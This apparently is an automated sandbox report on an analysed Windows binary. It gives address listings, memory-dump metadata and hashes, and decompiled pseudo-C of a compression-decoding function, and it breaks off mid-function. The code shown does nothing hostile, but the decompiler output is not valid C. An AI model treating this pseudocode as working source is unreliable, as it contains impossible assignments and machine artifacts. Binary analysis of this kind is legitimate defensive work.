0x004065c6
0x004065c9
0x004065be
0x004065be
0x004065be
0x004065cc
0x004065cf
0x004065d2
0x004065d2
0x004065d5
0x004065d8
0x004065db
0x004065db
0x004065de
0x004065e5
0x004065ea
0x00000000
0x00000000
0x00406678
0x00406678
0x0040667c
0x00406a1a
0x00406a1a
0x00000000
0x00406a1a
0x00406682
0x00406682
0x00406685
0x00406688
0x0040668c
0x0040668f
0x00406695
0x00406697
0x00406697
0x00406697
0x0040669a
0x0040669d
0x00000000
0x00000000
0x0040626d
0x0040626d
0x00406271
0x004069de
0x004069de
0x00000000
0x004069de
0x00406277
0x00406277
0x0040627a
0x0040627d
0x00406281
0x00406284
0x0040628a
0x0040628c
0x0040628c
0x0040628c
0x0040628f
0x00406292
0x00406292
0x00406295
0x00406298
0x00000000
0x00000000
0x0040629e
0x0040629e
0x004062a4
0x00000000
0x00000000
0x004062aa
0x004062aa
0x004062ae
0x004062b1
0x004062b4
0x004062b7
0x004062ba
0x004062bb
0x004062be
0x004062c0
0x004062c6
0x004062c9
0x004062cc
0x004062cf
0x004062d2
0x004062d5
0x004062d8
0x004062f4
0x004062f7
0x004062fa
0x004062fd
0x00406304
0x00406308
0x0040630a
0x0040630e
0x004062da
0x004062da
0x004062de
0x004062e6
0x004062eb
0x004062ed
0x004062ef
0x004062ef
0x00406311
0x00406318
0x0040631b
0x00000000
0x00406321
0x00406321
0x00000000
0x00406321
0x00000000
0x00406326
0x00406326
0x0040632a
0x004069ea
0x004069ea
0x00000000
0x004069ea
0x00406330
0x00406330
0x00406333
0x00406336
0x0040633a
0x0040633d
0x00406343
0x00406345
0x00406345
0x00406345
0x00406348
0x0040634b
0x0040634b
0x0040634b
0x00406351
0x00000000
0x00000000
0x00406353
0x00406353
0x00406356
0x00406359
0x0040635c
0x0040635f
0x00406362
0x00406365
0x00406368
0x0040636b
0x0040636e
0x00406371
0x00406389
0x0040638c
0x0040638f
0x00406392
0x00406392
0x00406395
0x00406399
0x0040639b
0x00406373
0x00406373
0x0040637b
0x00406380
0x00406382
0x00406384
0x00406384
0x0040639e
0x004063a5
0x004063a8
0x00000000
0x004063aa
0x004063aa
0x00000000
0x004063aa
0x004063a8
0x004063af
0x004063af
0x004063af
0x004063af
0x00000000
0x00000000
0x004063ea
0x004063ea
0x004063ee
0x004069f6
0x004069f6
0x00000000
0x004069f6
0x004063f4
0x004063f4
0x004063f7
0x004063fa
0x004063fe
0x00406401
0x00406407
0x00406409
0x00406409
0x00406409
0x0040640c
0x0040640f
0x0040640f
0x00406415
0x004063b3
0x004063b3
0x004063b6
0x00000000
0x004063b6
0x00406417
0x00406417
0x0040641a
0x0040641d
0x00406420
0x00406423
0x00406426
0x00406429
0x0040642c
0x0040642f
0x00406432
0x00406435
0x0040644d
0x00406450
0x00406453
0x00406456
0x00406456
0x00406459
0x0040645d
0x0040645f
0x00406437
0x00406437
0x0040643f
0x00406444
0x00406446
0x00406448
0x00406448
0x00406462
0x00406469
0x0040646c
0x00000000
0x0040646e
0x0040646e
0x00000000
0x0040646e
0x00000000
0x004066fb
0x004066fb
0x004066ff
0x00406a26
0x00406a26
0x00000000
0x00406a26
0x00406705
0x00406705
0x00406708
0x0040670b
0x0040670f
0x00406712
0x00406718
0x0040671a
0x0040671a
0x0040671a
0x0040671d
0x00000000
0x00000000
0x004064cb
0x004064cb
0x004064ce
0x00000000
0x00000000
0x0040680a
0x0040680a
0x0040680e
0x00406830
0x00406830
0x00406833
0x0040683d
0x00406840
0x00406840
0x00000000
0x00406840
0x00406810
0x00406810
0x00406813
0x00406817
0x0040681a
0x0040681a
0x0040681d
0x00000000
0x00000000
0x004068c7
0x004068c7
0x004068cb
0x004068e9
0x004068e9
0x004068e9
0x004068e9
0x004068f0
0x004068f7
0x004068fe
0x004068fe
0x00406905
0x00406908
0x0040690f
0x00000000
0x00406912
0x004068cd
0x004068cd
0x004068d0
0x004068d3
0x004068d6
0x004068dd
0x00406821
0x00406821
0x00406824
0x00000000
0x00000000
0x004069b8
0x004069b8
0x004069bb
0x004068bc
0x004068bc
0x004068bc
0x00000000
0x004068c2
0x00000000
0x004065f2
0x004065f2
0x004065f4
0x004065fb
0x004065fc
0x004065fe
0x00406601
0x00000000
0x00000000
0x00000000
0x00000000
0x00406905
0x00406905
0x00406908
0x0040690f
0x00000000
0x00406912
0x00000000
0x00000000
0x00000000
0x00406637
0x00406637
0x0040663a
0x00406670
0x00406670
0x004067a0
0x004067a0
0x004067a0
0x004067a0
0x004067a3
0x004067a3
0x004067a6
0x004067a8
0x00406a32
0x00406a32
0x00000000
0x00406a32
0x004067ae
0x004067ae
0x004067b1
0x00000000
0x00000000
0x004067b7
0x004067b7
0x004067bb
0x004067be
0x004067be
0x004067be
0x00000000
0x004067be
0x0040663c
0x0040663c
0x0040663e
0x00406640
0x00406642
0x00406645
0x00406646
0x00406648
0x0040664a
0x0040664d
0x00406650
0x00406666
0x00406666
0x0040666b
0x004066a3
0x004066a3
0x004066a7
0x004066d0
0x004066d3
0x004066d5
0x004066dc
0x004066df
0x004066e2
0x004066e2
0x004066e7
0x004066e7
0x004066e9
0x004066ec
0x004066f3
0x004066f6
0x00406723
0x00406723
0x00406726
0x00406729
0x0040679d
0x0040679d
0x0040679d
0x0040679d
0x00000000
0x0040679d
0x0040672b
0x0040672b
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673d
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x00406765
0x00406767
0x0040676a
0x0040676b
0x0040676e
0x00406770
0x00406773
0x00406775
0x00406777
0x0040677a
0x0040677c
0x0040677f
0x00406783
0x00406785
0x00406785
0x00406786
0x00406789
0x0040678c
0x0040674e
0x0040674e
0x00406756
0x0040675b
0x0040675d
0x00406760
0x00406760
0x0040678f
0x00406796
0x00406720
0x00406720
0x00406720
0x00406720
0x00000000
0x00406798
0x00406798
0x00000000
0x00406798
0x00406796
0x004066a9
0x004066a9
0x004066ac
0x004066ae
0x004066b1
0x004066b4
0x004066b7
0x004066b9
0x004066bc
0x004066bf
0x004066bf
0x004066c2
0x004066c2
0x004066c5
0x004066cc
0x004066a0
0x004066a0
0x004066a0
0x004066a0
0x00000000
0x004066ce
0x004066ce
0x00000000
0x004066ce
0x004066cc
0x00406652
0x00406652
0x00406655
0x00406657
0x0040665a
0x00000000
0x00000000
0x004063b9
0x004063b9
0x004063bd
0x00406a02
0x00406a02
0x00000000
0x00406a02
0x004063c3
0x004063c3
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d2
0x004063d5
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e2
0x004063e2
0x004063e2
0x00000000
0x00000000
0x00406544
0x00406544
0x00406548
0x00406a0e
0x00406a0e
0x00000000
0x00406a0e
0x0040654e
0x0040654e
0x00406551
0x00406554
0x00406557
0x00406559
0x00406559
0x00406559
0x0040655c
0x0040655f
0x00406562
0x00406565
0x00406568
0x0040656b
0x0040656c
0x0040656e
0x0040656e
0x0040656e
0x00406571
0x00406574
0x00406577
0x0040657a
0x0040657a
0x0040657a
0x0040657d
0x0040657f
0x0040657f
0x00000000
0x00000000
0x004067c1
0x004067c1
0x004067c1
0x004067c5
0x00000000
0x00000000
0x004067cb
0x004067cb
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d6
0x004067d6
0x004067d9
0x004067dc
0x004067df
0x004067e2
0x004067e5
0x004067e8
0x004067e9
0x004067eb
0x004067eb
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fe
0x00406800
0x00406803
0x00000000
0x00406805
0x00406805
0x00406582
0x00406582
0x00000000
0x00406582
0x00406803
0x00406a38
0x00406a38
0x00000000
0x00000000
0x00406067
0x00406a6f
0x00406a6f
0x00000000
0x00406a6f
0x004068bc
0x0040693c
0x00406905

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00f2de6477f22270801ef5006171c2706c5d9d3ffcda3e5f9c9b7caabde0979f
Instruction ID: 2446724231f05ea51107c8768389afa7e2a62b3a86e3c0cdb9b17195a5c17046
Opcode Fuzzy Hash: 00f2de6477f22270801ef5006171c2706c5d9d3ffcda3e5f9c9b7caabde0979f
Instruction Fuzzy Hash: E9A14F71E00228CFDB28CFA8C8547ADBBB1FB45305F21816AD956BB281D7785A96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0040680A, Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040680A() {
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int* _t605;
				void* _t612;

				L0:
				while(1) {
					L0:
					if( *(_t612 - 0x40) != 0) {
						 *(_t612 - 0x84) = 0x13;
						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x4c);
						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
						__ecx =  *(__ebp - 0x58);
						__eax =  *(__ebp - 0x4c) << 4;
						__eax =  *(__ebp - 0x58) + __eax + 4;
						L130:
						 *(__ebp - 0x58) = __eax;
						 *(__ebp - 0x40) = 3;
						L144:
						 *(__ebp - 0x7c) = 0x14;
						L145:
						__eax =  *(__ebp - 0x40);
						 *(__ebp - 0x50) = 1;
						 *(__ebp - 0x48) =  *(__ebp - 0x40);
						L149:
						if( *(__ebp - 0x48) <= 0) {
							__ecx =  *(__ebp - 0x40);
							__ebx =  *(__ebp - 0x50);
							0 = 1;
							__eax = 1 << __cl;
							__ebx =  *(__ebp - 0x50) - (1 << __cl);
							__eax =  *(__ebp - 0x7c);
							 *(__ebp - 0x44) = __ebx;
							while(1) {
								L140:
								 *(_t612 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t612 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M00406A77))) {
										case 0:
											if( *(_t612 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t534 =  *( *(_t612 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t569);
											_push(9);
											_pop(_t570);
											_t608 = _t538 / _t569;
											_t540 = _t538 % _t569 & 0x000000ff;
											asm("cdq");
											_t603 = _t540 % _t570 & 0x000000ff;
											 *(_t612 - 0x3c) = _t603;
											 *(_t612 - 0x1c) = (1 << _t608) - 1;
											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
											_t611 = (0x300 << _t603 + _t608) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
												L10:
												if(_t611 == 0) {
													L12:
													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t611 = _t611 - 1;
													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
												} while (_t611 != 0);
												goto L12;
											}
											if( *(_t612 - 4) != 0) {
												GlobalFree( *(_t612 - 4)); // executed
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t612 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 1;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t45 = _t612 - 0x48;
											 *_t45 =  *(_t612 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t612 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t612 - 0x40);
											if(_t546 ==  *(_t612 - 0x74)) {
												L20:
												 *(_t612 - 0x48) = 5;
												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t612 - 0x74) = _t546;
											if( *(_t612 - 8) != 0) {
												GlobalFree( *(_t612 - 8)); // executed
											}
											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
											 *(_t612 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
											 *(_t612 - 0x84) = 6;
											 *(_t612 - 0x4c) = _t553;
											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 3;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											_t67 = _t612 - 0x70;
											 *_t67 =  &(( *(_t612 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L23:
											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
											if( *(_t612 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t605;
											_t588 = _t531 & 0x0000ffff;
											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
											if( *(_t612 - 0xc) >= _t564) {
												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
												 *(_t612 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												__eflags = _t532;
												 *_t605 = _t532;
											} else {
												 *(_t612 - 0x10) = _t564;
												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
												 *_t605 = (0x800 - _t588 >> 5) + _t531;
											}
											if( *(_t612 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 5;
												goto L170;
											}
											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L139:
											_t533 =  *(_t612 - 0x84);
											goto L140;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L100:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t335 = __ebp - 0x70;
											 *_t335 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t335;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L102;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
